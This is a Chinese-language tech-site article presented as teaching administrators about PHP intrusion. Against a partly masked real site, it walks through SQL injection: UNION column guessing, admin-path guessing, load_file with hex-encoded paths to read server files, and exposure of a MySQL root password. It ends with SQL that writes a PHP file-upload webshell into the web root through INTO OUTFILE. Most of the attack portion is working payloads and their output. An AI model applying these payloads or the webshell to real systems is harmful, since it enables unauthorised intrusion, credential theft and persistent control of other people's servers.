实例讲解PHP入侵

安全 黑客攻防
我们通过从寻找目标到网站踩点来实现一次简单的PHP入侵全过程,其最终目的是让企业安全管理人员能够了解PHP入侵的全过程,以便着手防范。

PHP入侵是一种黑客比较常用的入侵方式,PHP入侵的操作简单和效果初中是其广为流传的原因。今天我们就通过一次简单的PHP入侵来看一下PHP入侵的全过程,其目的是为了企业安全管理员能够洞悉PHP入侵技术,提高安全防护水平。

测试站点如下

http://www.******.com

找个踩点

http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830

提交一个 '

返回结果

Warning: mysql_result(): supplied argument is not a valid MySQL result resource in

/var/www/html/zhaobiao/zhaobiao_hy_show.php on line 135

Warning: mysql_result(): supplied argument is not a valid MySQL result resource in

/var/www/html/zhaobiao/zhaobiao_hy_show.php on line 140

Warning: mysql_result(): supplied argument is not a valid MySQL result resource in

/var/www/html/zhaobiao/zhaobiao_hy_show.php on line 154

路径出来了,继续安检.

http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830'and 1=1 #

返回错误,不是字符型.

注明:%23是#

提交 and 1=1 返回正常

提交 and 1=2 返回不正常

接下来就是 union 语句

and 1=1 union select 1 返回不正常

and 1=1 union select 1,2 返回不正常

and 1=1 union select 1,2,3 返回不正常

and 1=1 union select 1,2,3,4 返回不正常

and 1=1 union select 1,2,3,4,5 返回不正常

and 1=1 union select 1,2,3,4,5,6 返回不正常

and 1=1 union select 1,2,3,4,5,6,7 返回不正常

and 1=1 union select 1,2,3,4,5,6,7,8 返回不正常

and 1=1 union select 1,2,3,4,5,6,7,8,9 返回不正常

and 1=1 union select 1,2,3,4,5,6,7,8,9,10 返回不正常

and 1=1 union select 1,2,3,4,5,6,7,8,9,10,11 返回不正常

and 1=1 union select 1,2,3,4,5,6,7,8,9,10,11,12 返回不正常

and 1=1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13 返回不正常

and 1=1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14 返回正常

猜到 14 就正常了 继续PHP入侵的下一步.

一般这样的站点基本上后台是不可能那么容易让我们找到的..

还是先看看有没有再说吧..

猜猜常用的路径.

login.php

admin.php

admin_login.php

admin_index.php

admin/login.php

admin/admin.php

admin/admin_login.php

admin/admin_index.php

manage/index.php

manage/login.php

manage/admin_login.php

manage/admin_index.php

等等.有耐心的可以慢慢去猜.就算猜到了也没什么用.

我们还是用比较直接的方法吧.直接用 load_file 读取文件内容

http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830 and 1=1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14

http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14
里面的 and 1=1 变成 and 1=2

返回结果如下:

2

就在2的位置暴了我们需要的文件内容.

我们就从 /var/www/html/zhaobiao/zhaobiao_hy_show.php

直接用 load_fi

le('/var/www/html/zhaobiao/zhaobiao_hy_show.php')

前提是要把 /var/www/html/zhaobiao/zhaobiao_hy_show.php 转换成 16 进制

http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830 and 1=2 union select 1,load_file 

0x2F7661722F7777772F68746D6C2F7A68616F6269616F2F7A68616F6269616F5F68795F73

686F772E706870),3,4,5,6,7,8,9,10,11,12,13,14  

返回结果

 

  1. 0 or $regdate>mysql_result($query,0,'yxdate')){?>   
  2.  
  3.   ",mysql_result($query,0,'sm'));?>   

不要管这些,直接查看源文件找到了一个 inc.php 的文件 然后配合前面的路径

/var/www/html/inc.php

http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830 and 1=2 union select 1,load_file

(0x2F7661722F7777772F68746D6C2F696E632E706870),3,4,5,6,7,8,9,10,11,12,13,14

暴一下 返回看不到内容 直接查看源文件

  1. <? 
  2. $myconn=mysql_connect('localhost','root','www.******.comy0p5h1i0');  
  3. mysql_select_db('mlk');  
  4. ?> 

Mysql 直接暴出来了..

下一步就是登陆 Mysql 然后插入自己准备好的小马..

  1. use mlk;  
  2. create table mmxy (cmd TEXT);  
  3. insert into mmxy values('<?php');  
  4. insert into mmxy values('$msg = copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]) ? "Successful" : "failure";');  
  5. insert into mmxy values('echo $msg;');  
  6. insert into mmxy values('?>');  
  7. insert into mmxy values('<form ENCTYPE="multipart/form-data" ACTION="" METHOD="POST">');  
  8. insert into mmxy values('<input NAME="MyFile" TYPE="file">');  
  9. insert into mmxy values('<input VALUE="Up" TYPE="submit"></form>');  
  10. select * from mmxy into outfile '/var/www/html/zhaobiao/mmxy.php';  

 

【编辑推荐】

  1. 防止SQL注入攻击:网络管理员的前景展望
  2. ScanSafe:近期3波SQL注入攻击100万中国网站
  3. 图文详解网站SQL注入攻击解决全过程
  4. 有效预防SQL注入攻击的六脉神剑
  5. 防止SQL注入攻击:网络管理员的前景展望

     

     
责任编辑:张启峰 来源: 安全在线
相关推荐

2009-11-23 17:31:49

PHP时间戳

2009-11-23 20:16:17

PHP接口特性

2009-11-23 15:32:13

PHP获取远程URL

2009-11-23 14:44:22

PHP 5.0构造函数

2010-09-09 10:25:42

2009-12-10 15:09:46

PHP搜索引擎类

2009-11-25 15:07:39

PHP添加计数器

2010-09-13 12:41:23

2010-05-11 18:03:28

2011-04-02 16:37:26

PAT

2010-06-03 18:22:38

Hadoop

2009-12-28 17:01:31

2010-09-08 14:23:14

测试Snort

2019-04-04 11:55:59

2011-04-01 09:04:09

RIP

2010-09-03 10:23:49

PPP Multili

2011-04-02 16:33:33

2010-11-22 16:22:39

MySQL连接查询

2011-05-23 13:24:01

2009-08-28 16:37:32

C# for循环
点赞
收藏

51CTO技术栈公众号